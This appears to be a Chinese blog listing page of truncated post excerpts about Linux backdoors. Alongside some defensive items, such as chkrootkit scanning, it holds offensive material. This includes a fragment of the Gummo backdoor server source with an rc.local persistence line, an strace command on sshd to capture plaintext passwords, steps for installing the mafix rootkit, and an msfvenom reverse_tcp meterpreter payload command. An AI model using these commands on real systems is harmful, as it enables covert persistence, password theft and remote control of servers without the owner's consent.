脚本条件：写脚本 判断一个文件夹下的所有文件、以及其下面子文件夹的所有文件的所属用户和组，如果不是app 用户，就输出路径和文件名 查找目录/root/script.d 脚本如下：#!/bin/bash ls -l -R | awk '{print $1"\t"$3"\t"$4"\t"$NF}' | grep -v "total" | egrep -r -
原创
2014-09-27 09:27:12
707阅读
在网络安全领域，后门一直是一个备受关注的话题。后门是一种暗藏在系统中的安全漏洞，能够给黑客提供非法访问和控制权限。近年来，关于Linux系统中后门的讨论逐渐增多，红帽作为一款广泛使用的Linux发行版，也不例外。
红帽公司是一家专注于开源软件和Linux领域的知名企业，其产品被广泛应用于企业服务器和云计算环境中。红帽的安全团队一直致力于发现和修复系统中的安全漏洞，以保证用户数据和系统的安全性。然
原创
2024-02-28 09:55:31
92阅读
在讨论脚本后门前，先要介绍一类很有用的WMI对象。事实上，这才是本节的关键。脚本后门不过是它的一个应用而已。
前面已经说过，WMI是事件驱动的。整个事件处理机制分为四个部分： 1，事件生产者(provider)：负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者，也有类、实例的创建、修改、删除等通
转载
精选
2010-08-08 22:25:16
1626阅读
在开源操作系统Linux中，有一种被称为后门的恶意软件，名为Hitime。Hitime是一种专门针对Linux系统的后门，可以在系统中偷偷植入恶意代码，用于监控用户的行为、窃取个人信息或者远程控制系统。这种后门的存在给用户的隐私安全带来了巨大威胁。
Hitime后门的传播方式多种多样，常见的传播途径包括通过恶意软件、病毒植入系统、通过网络下载等方式。一旦用户的系统感染了Hitime后门，黑客就可
原创
2024-04-24 10:53:09
52阅读
/*/*Gummo后门服务器/*编译:ccserver.c-oserver/*使用:./server&/*echo/tmp/server&>>/etc/rc.d/rc.local*/#include<stdio.h>#include<stdlib.h>#include<errno.h>#include<string.h>#
原创
2018-07-15 14:09:43
3571阅读
3评论
在网络安全领域，我们经常会听到"linux telnet 后门"这个关键词。红帽（Red Hat）是世界领先的开源软件解决方案提供商，其所提供的Linux操作系统备受企业用户欢迎。然而，即使是备受信任的红帽Linux系统也不是绝对安全的，在过去的一些事件中，曾出现过与telnet后门相关的安全漏洞。
telnet是一种远程登录协议，通过telnet，用户可以在本地计算机上登录到远程主机，并在远程
原创
2024-04-29 12:31:43
104阅读
linux在线模拟器https://linuxzoo.net/(gmail注册可用,root权限)零散的安全脉搏https:/
原创
2022-08-04 22:44:37
99阅读
Metasploit是一款知名的渗透测试工具，它的功能强大，可以用来测试系统的安全性以及发现系统中的漏洞。在Linux系统中，Metasploit可以被用来创建后门，实现远程访问目标系统的控制和监控。
在网络安全领域中，后门是指为了绕过正常的安全检查而悄悄安装在系统中的一种恶意程序。Metasploit作为一种渗透测试工具，它可以在目标系统中安装后门，以便渗透测试人员在远程控制目标系统的时候能够
原创
2024-04-16 09:56:07
52阅读
一、本教程作用1、用在攻击的途径上2、应急响应过程中，黑客会留后门，如
原创
2022-11-14 21:44:33
275阅读
如果计算机多出来的用户，它一定在这里仔细排查这些账户，如果不是公司使用的账户，那么及时和
原创
2022-09-12 11:29:07
134阅读
一、SSH后门介绍当获取到一个服务器的shell之后，肯定需要维持好我
原创
2022-11-14 21:41:03
1227阅读
2.3 留crontab隐藏后门好不容易拿下一个网站，以后还想继
原创
2022-11-14 21:40:42
1555阅读
介绍strace是一个动态跟踪工具，它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门，来扩大我们的信息收集范围使用场景通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码，或者通过这台主机连接到其他主机的密码。记录sshd进程明文密码执行如下命令(strace -f -F -p `ps aux|grep "sshd -D"|g
原创
2021-02-27 14:19:51
2683阅读
在网上看到N多人做radmin后门，要导出注册表而且还用被杀软件K杀。所以本人把自己写的脚本提供大家分享。比较实用，希望大家喜欢。on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = "."Set StdOut ... Read More
转载
2012-07-16 09:19:00
211阅读
2评论
rootkit从浅显的层面来讲即一种具有自我隐蔽性的后门程序，它往往被入侵者作为一种入侵工具。通过rootkit，入侵者可以偷偷控制被入侵的电脑，因此危害巨大。chkrootkit是一个Linux系统下的查找检测rootkit后门的工具。本文将介绍chkrootkit的安装与使用方法。chkrootkit没有包含在官方的CentOS或Debian源，因此我们将采取手动编译的方法来安装，这种方式也更
原创
2013-10-23 16:26:22
1505阅读
点赞
在网络安全领域中，Linux系统一直被认为是相对较安全的操作系统之一。然而，即便如此，也并非绝对安全，还是存在一些潜在的风险和威胁，比如后门攻击。后门攻击是指黑客通过在系统中设置后门，绕过正常的安全认证，实现对系统的远程控制和监控。其中，31337端口正是常用的后门打开端口之一。
31337端口是网络安全领域的一个经典端口号，其源自于leet语言中的"leet"一词，代表着elite或者电脑黑客
原创
2024-03-29 09:50:33
181阅读
在Linux系统中，rootkit被认为是一种非常具有挑战性的后门程序，它是一种被设计用来隐藏特定进程或文件在计算机系统中的存在的恶意软件。rootkit可以为黑客提供远程访问权限，使其能够执行各种破坏性的操作，如窃取敏感数据、监视用户活动和破坏系统稳定性等。
在Linux系统中，rootkit后门通常是通过操纵系统内核或系统调用来实现的。黑客可以利用漏洞或弱点来安装rootkit，使其能够以r
原创
2024-04-09 10:17:41
93阅读
在Linux系统中，Webshell后门是一种常见的网络安全威胁。通过Webshell后门，黑客可以远程控制服务器、窃取信息、篡改网站内容等恶意行为。因此，及时发现和处理Webshell后门至关重要。而在Linux系统中，红帽作为一款领先的操作系统，有着强大的安全功能，有助于有效处理Webshell后门。
首先，为了有效处理Webshell后门，管理员需要使用专业的安全工具对系统进行扫描和检测。
原创
2024-05-21 10:29:42
229阅读
下载地址：点击下载tar zxvf mafix_rootkit.tar.gz 解压。进入目录并用root权限运行。安装rootkit 命令：./root 密码 端口 (如: ./root xiaoma 99 那么下次连接的时候只需用putty连接它的99端口，用户名是root，密码为xiaoma)安装完成后会自动删除目录，为了隐蔽，用
转载
精选
2014-11-09 19:06:03
1202阅读
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
原创
2022-08-18 13:33:09
678阅读
